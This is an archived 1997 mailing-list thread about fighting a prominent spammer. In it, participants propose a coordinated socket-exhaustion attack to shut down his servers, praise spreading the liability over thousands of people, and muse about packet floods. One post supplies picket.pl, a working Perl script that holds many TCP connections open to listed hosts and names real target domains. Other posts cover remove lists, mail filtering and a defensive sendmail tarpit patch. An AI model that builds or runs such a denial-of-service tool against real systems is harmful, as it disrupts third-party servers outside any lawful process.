Picketing With Packets

I availed myself of some free home page enhancements on the Web
yesterday, and all of a sudden, my SPAM has increased by at least
an order of magnitude.  Obviously, one or more of the sites I
visited sold my email address to Mr. Spamford.

I am now getting almost continuous Cyberpromo, EmailBlaster, and
SubmitKing mailings as well as one from some female entrepreneur
in Singapore who wants me to send her US$10 to email me obscene
stories.  (sigh)

The time has come to make an example of Wallace Spamford, and to
mount his stuffed carcass on the gates of the Internet as a
warning to those who might be tempted to follow in his footsteps.

The following was suggested to me by someone on IRC this morning,
and I think it's a pretty nifty idea.  We write a little Perl
script that keeps exactly ONE AND ONLY ONE TCP connection open to
each of Mr. Spamford's machines.  Keeping a single TCP connection
open to someone's box is unlikely to be illegal, and does not
constitute a Denial of Service attack.  Consider it the packet
equivalent of a single person picketing.

We publish the script, and encourage every Sysadmin who hates Mr.
Spamford to run it.  When thousands do so, he will be out of
sockets, and consequently out of business.  Consider this the
packet equivalent of the UPS strike.  We can make the scripts
clever, and have them goose a wide variety of ports on Mr.
Spamford's machines.  He can, of course, devise a technical
defense against this, but he does not have one installed at
present, and it will shut him down for the time being, and give
him sufficient time to ponder his evil ways.

This also has the advantage of distributing the liability over
thousands of individuals, a technique shown in the recent uunet
UDP to render legal redress impractical.

Anyone have any comments on this scheme, or anything even more 
insidious to suggest?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
>I availed myself of some free home page enhancements on the Web
>yesterday, and all of a sudden, my SPAM has increased by at least
>an order of magnitude.  Obviously, one or more of the sites I
>visited sold my email address to Mr. Spamford.

Not obvious at all - spammers have harvester programs that
hunt down new web pages to find spammer targets,
and since three of the different spammer groups are hitting you,
that's probably what happened.

>The following was suggested to me by someone on IRC this morning,
>and I think it's a pretty nifty idea.  We write a little Perl
>script that keeps exactly ONE AND ONLY ONE TCP connection open to
>each of Mr. Spamford's machines.  

Perl is a nice language to write such things in, but you won't
get huge quantities of people implementing it, except perhaps Linux users.
You need an executable that'll run on Win3.1 or Win95 (sigh);
a user interface letting you input different targets is also good.
However, that doesn't really block the spammers who buy a list of
N million targets and send spam out from their own machines,
though shutting down Spamford and Harris Marketing would help,
and would cut down the sales of the lists.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

On Sun, 17 Aug 1997, Bill Stewart wrote:

> At 02:27 PM 8/16/97 -0700, Mike Duvos wrote:
>
> >The following was suggested to me by someone on IRC this morning,
> >and I think it's a pretty nifty idea.  We write a little Perl
> >script that keeps exactly ONE AND ONLY ONE TCP connection open to
> >each of Mr. Spamford's machines.
>
> Perl is a nice language to write such things in, but you won't
> get huge quantities of people implementing it, except perhaps Linux users.
> You need an executable that'll run on Win3.1 or Win95 (sigh);

Perl is available for Windoze 32bit (for free), including W95 and 3.11
and NT.  see: http://reference.perl.com/query.cgi?windows

Note also that cyberpromo is *inviting* us to make connections!
The following is quoted from http://www.cyberpromo.com/

"FreeRelay" Network IS UP AND RUNNING!

                                      Attention Bulk Emailers:

                             CYBER PROMOTIONS HAS DONE IT AGAIN!

                 Set your SMTP's to... freerelay.cyberpromo.com

              or to our newest setting... freerelay2.cyberpromo.com

                     Open as many simultaneous connections as you wish -
It's FREE!

        And best of all, your email will be automatically filtered against
IEMMC's global remove list...

On Mon, 25 Aug 1997, Lou Poppler wrote:

> > Perl is a nice language to write such things in, but you won't
> > get huge quantities of people implementing it, except perhaps Linux users.
> > You need an executable that'll run on Win3.1 or Win95 (sigh);
> 
> Perl is available for Windoze 32bit (for free), including W95 and 3.11
> and NT.  see: http://reference.perl.com/query.cgi?windows

There are two ports of Perl 5.x available for Win32.  (Win 3.11 is *NOT* a
32 bit platform.  (There is a Win32 extension available, but it has some
drawbacks, as well as a long bug/incompatibility list, the last time I
checked.))

The two ports are:

-- The standard Perl distribution. The standard distribution of Perl
5.004_02 (the latest at last check) will build under Win95/NT.  
Gurusamy Sarathy has a set of prebuilt binaries for this.
It can be found at any CPAN site.  (My favorite is
ftp://ftp.cdrom.com/pub/perl/CPAN or you can try the main archive site at
ftp://ftp.funet.fi/pub/languages/perl/CPAN .)  The path for the prebuilt
binaries is
ftp://ftp.cdrom.com/pub/perl/CPAN/ports/win95/Gurusamy_Sarathy/ .  There
are tar files built with Borland C++ and MS Visual C++.  (You will need
something like WinZip 6.2 to expand them.)  The readme files explain the
steps to install.  This version is the recommended port of choice of the
Perl5-Porters list. 

-- The ActiveWare port.  This port is a few versions back (5.002?), but
has prebuilt binaries available.  (Including DLL interfaces for the IIS
server and other things.)  It is not as complete as the standard
distribution.  (It is missing some of the newer 5.004 features, as well as
some of the standard modules.)  I have used it though and it works very
well.  (An older version of this port is included in the Win NT resource
kit, as well as with the IIS server.)

Perl is gaining use amongst the Win32 community as more and more people
find out about it.  (And there are a number of crypto related apps
available for it as well.  Check out the CPAN archives for the latest
list.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
List Admin - Perl5-Porters@perl.org

Mike Duvos <enoch@zipcon.net> writes:

> I availed myself of some free home page enhancements on the Web
> yesterday, and all of a sudden, my SPAM has increased by at least
> an order of magnitude.  Obviously, one or more of the sites I
> visited sold my email address to Mr. Spamford.
...

In all fairness, in addition to Stanford Wallace, there are several
other spammers sending out junk e-mail. If you completely eliminate
Stanford and his company, you will STILL get junk e-mail.

Perhaps this will spark another round of a cypherpunk discussion of
technical solutions to junk e-mail...

I placed myself on a zillion "remove" lists.  Now I no longer get any
junk e-mail of interest (which I did on rare occasions), but still
get at least once a day an MMF and/or an ad for a sex site.

I'll tell you what I did, if anyone cares to spend a little time
emulating what I did.

Visit these two sites and jump through the loops:

http://www.thehitman.com/
http://www.iemmc.org/validate.html

(You may also want to check out these Web sites:

http://drsvcs.com/nospam/
http://pages.ripco.com:8080/~glr/nojunk.html
)

Send an e-mail with a "remove" in the subject to the following collection
of addresses. I keep track of when I send in a semi-automatic ";remove"
request. Quite a few of them keep on sending junk e-mail despite the
remove requests. Some may add you to their junk mail list when they
get your remove request if you're not on it already.

1health@zeecom.com
1stfam@regulus.net
access@1stfamily.com
access@1stfamily.com
addresses@answerme.com
admin@t-3net.com
alpha1@delapaz.com
askme@homepowerbiz.com
babbling2@answerme.com
babbling@answerme.com
ballman@t-1net.com
bannonj@mail.albany.net
bannonj@ofns.com
billm@ascella.net
bizman@savetrees.com
bizop@zignzag.com
bld892@hotmail.com
bowdie@regulus.net
campaign@arialsoftware.com
canceranswer@eom.net
carproinc@savetrees.com
cleanair@spica.net
clubmail@com3xbz.riser.net
clubmail@net5xai.riser.net
credit2u@savetrees.com
ctn@cartridgetechnology.com
cyber@cura.net
cyber@netlane.com
dayton@onramp.net
desp@answerme.com
details1@savetrees.com
dlsnet@savetrees.com
editors@commonwealthpub.com
enjoylife7@savetrees.com
ernie@mlmail.com
feedback@amazon.com
feedback@fawcette.com
fundsrecovery@savetrees.com
future@successmail.com
genesis@savetrees.com
globalnet8@savetrees.com
grow@savetrees.com
heavensgate777@hotmail.com
help@microsmarts.com
help@savetrees.com
hitinfo@rapidconnect.com
hj11@tellthem.com
htmp@rapidconnect.com
iconsult@cyberpromo.com
ims@cyberpromo.com
imsco@cyberpromo.com
incomeonline@nevwest.com
info@spec-fx.com
info@tsf-industries.com
jimjohn12@workload.com
josplace@lostvegas.com
jrosato@ascella.net
lninfo@savetrees.com
lvc@lvcpub.com
macs@answerme.com
macsvc@ix.netcom.com
mail@global-stock-exchange.com
mail@mailermachine.com
mailbox@alaska-marketplace.com
mailer@mail.nettwerks.com
mailme@ieighty.net
mas-remove@nelsonpubl.com
maximum@savetrees.com
mdbiz@nevwest.com
megamoneymakers@mail-response.com
microcap@lostvegas.com
mm_mail@mailermachine.com
mnoffice@t-3net.com
mxzr2@savetrees.com
nancy@ginette.com
netmoney@lostvegas.com
netpower@answerme.com
nhbb@t-1net.com
no-news@amazon.com
offshorecard@answerme.com
outofhere@answerme.com
owl@owlsnest.com
pandrews@sc1.kintyre.com
pctraining@savetrees.com
pctraining@t-1net.com
phoenix@workload.com
picks@webersmall.com
pls@savetrees.com
pluto@nevwest.com
pnpservices@t-1net.com
postmaster@ascella.net
postmaster@nim.com
powertools@cybertools.net
putpeel@putpeel.com
reindex@aol.com
remmee@answerme.com
remove11@answerme.com
remove1@answerme.com
remove2@answerme.com
remove3@answerme.com
remove3@juno.com
remove4@answerme.com
remove5@answerme.com
remove6@answerme.com
remove7@answerme.com
remove8@answerme.com
remove@best-prices.com
remove@cyberbundle.net
remove@cyberpromo.com
remove@eb.com
remove@econopromo.com
remove@endlesssuccess.com
remove@first-star.com
remove@gw.mailmaster.com
remove@hydrix.com
remove@i-machine.com
remove@iemmc.org
remove@looplink.com
remove@mailout.com
remove@mkt-america.com
remove@mkt-usa.com
remove@mortgagemgr.com
remove@mortgagemgr.com
remove@net-wwworth.com
remove@newsyoucanuse.com
remove@ngmgold.com
remove@nim.com
remove@qlink2info.com
remove@quantcom.com
remove@regulus.net
remove@remove-me.com
remove@worldwidepromo.com
removeit@mkt-america.com
removemenow@answerme.com
removemenow@cyberpromo.com
reply15@answerme.com
root@mail.internorth.com
roys@wt.net
sales@e-distributors.com
sales@scarlett.org
sandy@inneraction.com
secsys@1stfamily.com
serenityinfo@savetrees.com
service@ibase.net
simrem@answerme.com
skifast1@earthlink.net
slender@juice4u.net
smartbiz@nevwest.com
solgroup@vii.com
sonnyv@webspawner.com
specialofffer@glenfinnan.com
stealth@glenfinnan.com
stephanie@pacific-publishing.com
t3@t3-com.com
takemeoff@answerme.com
teambuilder@mail-response.com
techkids@prolinx.net
theadd@answerme.com
tjordan@savetrees.com
tnt-remove@eom.net
tnt-remove@eom.net
toner-girl@ctynet.com
tony@answerme.com
user2361@servmail.com
virtualone@mynumber.com
vision1@regulus.net
vision2@regulus.net
vision3@regulus.net
vision4@regulus.net
vision5@regulus.net
vision6@regulus.net
vision7@regulus.net
vision8@regulus.net
vmailone@mail89.com
wcorp@netfiber.com
webmaster@mailloop.com
websales@akyp.com
welcome@webersmall.com
wss@wallstreetsports.com
zvi@creditnet.com

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> In all fairness, in addition to Stanford Wallace, there are several
> other spammers sending out junk e-mail. If you completely eliminate
> Stanford and his company, you will STILL get junk e-mail.

Of cause this is true,  but he is one of the beggest and thus gets the
most attention.  If we can stop him we cut down alot of email spam and we
can move on the smaller one.  Its like optimising code,  you find where
its taken most of its time and you optimise that.  

> Perhaps this will spark another round of a cypherpunk discussion of
> technical solutions to junk e-mail...

Hopefully,  the spammers are just as effective censors as the goverment
is IMHO.

> I placed myself on a zillion "remove" lists.  Now I no longer get any
> junk e-mail of interest (which I did on rare occasions),

I'm haveing trubble parsing this message,  do you mean that you are not
getting any junk e-mail that you are interested in?

> but still get at least once a day an MMF

I think this is a diffrent class of posting.  Thouse peaple who post MMF
do it from ignorence and stupidity, while this dosn't make what thay have
done any less harmfull, it means that it has to be fixxed in a diffrent
way to normal UCE.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/ctg6QK0ynCmdStAQGVDAQAhHkKWZs0Mxnqs0OEcZ71x8mxZaJSCaYq
ZYu3UU6jH91+Qg1s+Cl2q/t+YF4RQIId0rX1irqVx+Cp80fQKYDJrTDXD3ptwa9B
2p8zDouF08yuzKvhrC9gC2JbgB4AzYmbAYyQ4KrjuPxuEEOd8omQKYFdkhHnZ6/W
FfR/djktv4E=
=8rv9
-----END PGP SIGNATURE-----

? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Sat, 16 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > In all fairness, in addition to Stanford Wallace, there are several
> > other spammers sending out junk e-mail. If you completely eliminate
> > Stanford and his company, you will STILL get junk e-mail.
>
> Of cause this is true,  but he is one of the beggest and thus gets the
> most attention.  If we can stop him we cut down alot of email spam and we
> can move on the smaller one.  Its like optimising code,  you find where
> its taken most of its time and you optimise that.

He's the loudest one. However in the week his system has been down,
the amount of shit from Quantcom, newvest, etc hasn't subsided.

> > Perhaps this will spark another round of a cypherpunk discussion of
> > technical solutions to junk e-mail...
>
> Hopefully,  the spammers are just as effective censors as the goverment
> is IMHO.

The answer is a technical solution that doesn't let the spammers drown
out a discussion, if that's what you mean by censorship.

> > I placed myself on a zillion "remove" lists.  Now I no longer get any
> > junk e-mail of interest (which I did on rare occasions),
>
> I'm haveing trubble parsing this message,  do you mean that you are not
> getting any junk e-mail that you are interested in?

I mean, I used to get more unsolicited junk mail, which I deleted, but
occasionally I saw something of moderate interest - say, someone
selling blank CDR media reasonably cheap (not that I'd buy them from
someone advertizing this way).  Now all I get is pure crap. :-)

> > but still get at least once a day an MMF
>
> I think this is a diffrent class of posting.  Thouse peaple who post MMF
> do it from ignorence and stupidity, while this dosn't make what thay have
> done any less harmfull, it means that it has to be fixxed in a diffrent
> way to normal UCE.

For reasons unknown, I seem to be on someone's mailing list for MMF's
- I get A LOT of them in e-mail :-(

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...Standford wallis...]
 
> He's the loudest one. However in the week his system has been down,
> the amount of shit from Quantcom, newvest, etc hasn't subsided.

So we should work on stopping them.  Each one we stop it will be a little
harder to defend them selves.

> The answer is a technical solution that doesn't let the spammers drown
> out a discussion, if that's what you mean by censorship.

That is, you have one for me I hope.

[...]

> For reasons unknown, I seem to be on someone's mailing list for MMF's
> - I get A LOT of them in e-mail :-(

So you haven't seen the make "Make Dimitry Mad" posts to
alt.make.money.fast?  :D

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument

dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

 > In all fairness, in addition to Stanford Wallace, there are
 > several other spammers sending out junk e-mail. If you
 > completely eliminate Stanford and his company, you will
 > STILL get junk e-mail.

If Mr. Spamford were terminated with extreme prejudice, my junk
email would be reduced to managable levels.

 > Perhaps this will spark another round of a cypherpunk
 > discussion of technical solutions to junk e-mail...

I'm tempted to go some sort of postage route myself, but I
occasionally get mail from newbies who have never written me
before, and who occasionally have something interesting to say.

 > I placed myself on a zillion "remove" lists.  Now I no
 > longer get any junk e-mail of interest (which I did on rare
 > occasions), but still get at least once a day an MMF and/or
 > an ad for a sex site.

 > I'll tell you what I did, if anyone cares to spend a little
 > time emulating what I did.

 > Visit these two sites and jump through the loops:

It is not *I* who should do the hoop-jumping in order to keep my
mailbox free of garbage.

 > Send an e-mail with a "remove" in the subject to the
 > following collection of addresses. I keep track of when I
 > send in a semi-automatic ";remove" request. Quite a few of
 > them keep on sending junk e-mail despite the remove
 > requests. Some may add you to their junk mail list when they
 > get your remove request if you're not on it already.

Again, I will forward *ALL* my email to /dev/null before I kowtow
before some humongous list of offenders.

[Very Long List Snipped]

Additionally, a lot of mail is of the "This is the only mailing
you will receive from us" variety.  Getting 50 a day of those can
be royally annoying as well.

I am tempted to launch a few thousand packets in the direction of
any IP which sends me unwanted material trying to sell me
something.  If everyone did this, spamming machines would be
buried in a packet snowstorm within a few minutes of starting
operations.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

Mike Duvos <enoch@zipcon.net> writes:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
>
>  > In all fairness, in addition to Stanford Wallace, there are
>  > several other spammers sending out junk e-mail. If you
>  > completely eliminate Stanford and his company, you will
>  > STILL get junk e-mail.
>
> If Mr. Spamford were terminated with extreme prejudice, my junk
> email would be reduced to managable levels.

Perhaps because others like him would be scared... Most of the shit
I get is from other spammers.

>  > Perhaps this will spark another round of a cypherpunk
>  > discussion of technical solutions to junk e-mail...
>
> I'm tempted to go some sort of postage route myself, but I
> occasionally get mail from newbies who have never written me
> before, and who occasionally have something interesting to say.

How about this: have a program
keep a list of the message-ids of all the articles you send to
Usenet or via e-mail for a week. if someone sends you an
e-mail with "In-Reply-to" message-id on the list, consider
reading it. Otherwise if it's from a stranger, e-mail back
explaining your filtering policy, and remember the message-id,
so this time they can respond.

>  > I placed myself on a zillion "remove" lists.  Now I no
>  > longer get any junk e-mail of interest (which I did on rare
>  > occasions), but still get at least once a day an MMF and/or
>  > an ad for a sex site.
>
>  > I'll tell you what I did, if anyone cares to spend a little
>  > time emulating what I did.
>
>  > Visit these two sites and jump through the loops:
>
> It is not *I* who should do the hoop-jumping in order to keep my
> mailbox free of garbage.

Here's a little crypto project:

When you go to the iemmc.org site and enter your userid in a form,
it e-mails back to you a number.  You're supposed to retrive
your e-mail, then go to another iemmc.org site and again type
in your address and the number, and then you'll be removed from
their junk mail list... yeah, right.

Another dirty trick on iemmc.org's part is that if you're junking
all e-mail from them, you can't get their number and can't complete
their removal process (not that it helps much).

Observation 1: it's much easier to get ON their junk mail list
then to get OFF of it.

Observation 2: if you enter the same userid several times, you
get several different numbers in the mail; all of them work
(not just the latest)

Observation 3: a number that works with one address won't work
with another address.

It looks like the magic number has some random part and a checksum
of the e-mail address you're trying to remove.

It would embarrass them if we had a way of generating the numbers
than their cgi script accepts. (Alternatively, maybe someone can
pull out the source to their cg script...) Then people would be
able to get themselves on the "remove" list much easier.

> Additionally, a lot of mail is of the "This is the only mailing
> you will receive from us" variety.  Getting 50 a day of those can
> be royally annoying as well.
>
> I am tempted to launch a few thousand packets in the direction of
> any IP which sends me unwanted material trying to sell me
> something.  If everyone did this, spamming machines would be
> buried in a packet snowstorm within a few minutes of starting
> operations.

Or they'll develop new techniques to combat such DOS attacks
that'll benefit us all. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Observation 1: it's much easier to get ON their junk mail list
> then to get OFF of it.

There are two lists, or more properly one list - the remove list.  The
"ON" list is whatever cyberbomber or emailblaster, etc. generates.

They are supposed to run the outbound mail through the remove list filter.
And take action against anyone who doesn't.

> Observation 2: if you enter the same userid several times, you
> get several different numbers in the mail; all of them work
> (not just the latest)

All returned numbers give the same effect.  One day that changed from "The
token you entered was invalid, try again or restart with your name" to
"That user id removal is already in progress - please try again in 24
hours". 

--- reply to tzeruch - at - ceddec - dot - com ---

nospam-seesignature@ceddec.com writes:

> On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Observation 1: it's much easier to get ON their junk mail list
> > then to get OFF of it.
>
> There are two lists, or more properly one list - the remove list.  The
> "ON" list is whatever cyberbomber or emailblaster, etc. generates.

It's interesting to note that thir very popular address
harvesting program was posted for free by the guy who sells an
e-mail filtering program.

> They are supposed to run the outbound mail through the remove list filter.
> And take action against anyone who doesn't.

I put a lot of bwalk mailboxes on the iemmc's off list, and I still
get a lot of shit in those mailboxes, stating in the header
'x-ad: see iemmc for removal instructions". Fucking liars.

> > Observation 2: if you enter the same userid several times, you
> > get several different numbers in the mail; all of them work
> > (not just the latest)
>
> All returned numbers give the same effect.  One day that changed from "The
> token you entered was invalid, try again or restart with your name" to
> "That user id removal is already in progress - please try again in 24
> hours".

That must be a recent development. I broke my Web browser and
can't look t it. [If I had realized what a buggy piece of shit NT
is, I would have kept OS/2 on bwalk and installed NT on another
box. :-( . Learn from my mistakes folks - NT sucks, OS/2 rulez.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

On Sat, 16 Aug 1997, Mike Duvos wrote:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>  > Perhaps this will spark another round of a cypherpunk
>  > discussion of technical solutions to junk e-mail...
> 
> I'm tempted to go some sort of postage route myself, but I
> occasionally get mail from newbies who have never written me
> before, and who occasionally have something interesting to say.

>  > Visit these two sites and jump through the loops:

Actually, two procmail lines manage to move 60-80% of my junkmail to a
folder reserved for just that where I keep track.

The first line is in the header: "X-Advertisement: For removal information
...  www.iemmc.org" or whatever (remove the trailing period if it has one. 

And the second is the Email Blaster advertising banner and fax number in
the body.

And there was DynaMail which also had a fixed advertisement, but I only
got one of those.  And I have a lot more specific filters by processing
the "domains registered to spammers" lists.

Need I say that I am on the IEMMC removal list, or should be - for a long
while they kept rejecting my tokens until I set up an agent which would
keep submitting the form, and forward the mailed token properly.  Then
(after a few hundred) they kept saying it was in the middle of being
processed.

And the X-ad recipie is still finding mail to junk.

--- reply to tzeruch - at - ceddec - dot - com ---

Mike Duvos <enoch@zipcon.net> writes:
> We write a little Perl script that keeps exactly ONE AND ONLY ONE
> TCP connection open to each of Mr. Spamford's machines.  Keeping a
> single TCP connection open to someone's box is unlikely to be
> illegal, and does not constitute a Denial of Service attack.
> Consider it the packet equivalent of a single person picketing.

Sounds good to me :-)

Here's picket.pl.

You create two files, one called "hosts" the other called "services",
a hosts file of all of Spamford machines (if you have a list):

answerme.com
spamford.com
savetrees.com

and a "services" file with:

smtp

should do what you describe.

There are a number of arguments you can play with also:

% picket.pl [<num> [<max> [<sleep>] ] ]

<num> is the number of sockets to hold open on each machine/service.
Eg if we set this to 10, it'll try to open 10 connections to the SMTP
port at savetrees.com.  (Defaults to 1)

<max> is the maximum number of connections to hold open (you might want
some left for your own use :-).  Linux seemed to merrily go over 256
though I think some unixes will give you a per user limit of around
256.  (Defaults to 100).

<sleep> is how long to wait before closing and reopening all the
descriptors.  (Defaults to 1 minute).

For example:

% picket.pl 10 100 600

would open 10 connections on each port, would consume 100 socket
descriptors locally, and would wait 10 mins before closing them and
starting over.

Adam

==============================8<==============================
#!/usr/local/bin/perl -s

($num, $max, $sleep) = @ARGV;
if (!defined($num)) { $num = 1; }	# try to open 1 socket on each service
if (!defined($max)) { $max = 100; }	# use this many file descriptors
if (!defined($sleep)) { $sleep = 60; }	# repeat after this time in seconds

use Socket;
$proto = getprotobyname( "tcp" );
$count = 0;

$/ = undef;
open( SERVICES, "services" ) || die( "can't open services\n" );
chop( @service = <SERVICES> );
close( SERVICES );

open( HOSTS, "hosts" ) || die( "can't open hosts\n" );
chop( @hosts = <HOSTS> );
close( HOSTS );

while ( 1 )
{
    foreach $host ( @hosts )
    {
	foreach $service ( @service )
	{
	    foreach ( 1..$num )
	    {
		stuff( $host, $service );
		if ( $v )
		{
		    print "fd[$count] = connect( $host:\U$service )\n";
		}
	    }
	}
    }
    sleep( $sleep );
}

sub stuff
{
    my( $host, $service ) = @_; 
    my( $sock, $port, $ipaddr, $addr );
    $sock = "SOCK$count";
    $count = ($count + 1) % $max;
    close( $sock );
    
    $port = getservbyname( $service, "tcp" );
    socket( $sock, PF_INET, SOCK_STREAM, $proto );

    $ipaddr = inet_aton( $host );
    $addr = sockaddr_in( $port, $ipaddr );
    connect( $sock, $addr );
}
#==============================8<==============================

--Boundary..3980.1071713723.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Bill Stewart (stewarts@ix.netcom.com) wrote :

>(...)
> However, that doesn't really block the spammers who buy a list of
> N million targets and send spam out from their own machines,
> though shutting down Spamford and Harris Marketing would help,
> and would cut down the sales of the lists.

Hi,
ever thougt about a "Teergrube" ?

It's a Patch for sendmail (and smail AFAIR).
It works as follows:
sendmail Messages normally look like this

250 nostromo.ino.de Hello fenkt@localhost [127.0.0.1], pleased to meet you

(Numbercode <Space> Human readable Text)

A Minus Sign instead of the <Space> means, that sendmail waits for the 
current receive to finish.
If such messages appear, say every minute, the Connection stays open for
several hours, without a Timeout from the remote host.

A Teergrube controls a therefor prepared MTA to produce such 
messages; depending on an predefined list of IP Numbers.
It doesn't block all mail from the site; it just makes Bulk (maximal
Amount in shortest possible Time) mail very difficult. A single User
from that site can still send mail to your site, the only thing is
the increased amount of time for delivery.
This is opposite to blocking sites (sendmail 8.8.5 *Scheckrules ); which
is just a self-defense, but not a Solution against UBE.

If you want to try it:
ftp://nutsy.han.de/pub/sendmail/

regards
Thorsten


--Boundary..3980.1071713723.multipart/signed
Content-Type: application/octet-stream; name="pgp00002.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00002.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjNp
CgppUUVWQXdVQk0vaU9JUmh1dEtWSnZiTTlBUUdtREFmL1d2L2NJZm9wUXh1
a2thUkIvNFREdGplTUMwQTJ3ZjJSCmlsM3NKaGxWUzY4allZcEF3L2NzWFJn
UFFiU0ZrRlo5L05RWFJXQzNHRngzR3czYmQ3OGJvQW83YVY5OE9yMGwKeVdt
OGpDeU12ZG1EQkRiN2N3L3lVSnhpaUFJMTk2TFRlYU5LODhVTWpZbXRxUFRi
NHFqL2NCd1k3ZFdzbzhuMwpFVWJEQlFHUnY5RTZsV1RhTTM3QlY1NDMyTVFU
Mmh0cUsrNi9LVHRadjUzVHdCVVlGaTEwbGhUa1duWXlrNjExCkUweFU3NTY0
SytWRDVnRFlZUStjcXVmdDk5aGJ1a3JGeG1xdklSZ09XVFhIYkNxNGgvWDBu
OEwxaTUxdmhBYlcKYUtBVW1DVlFJd3VUbVYxL2ZvcHFDME9kSmtLMDZnLzVq
Y1JHT0JReHNTNDUvVFVvSWsvLzFRPT0KPTBwK3MKLS0tLS1FTkQgUEdQIFNJ
R05BVFVSRS0tLS0tCg==
--Boundary..3980.1071713723.multipart/signed--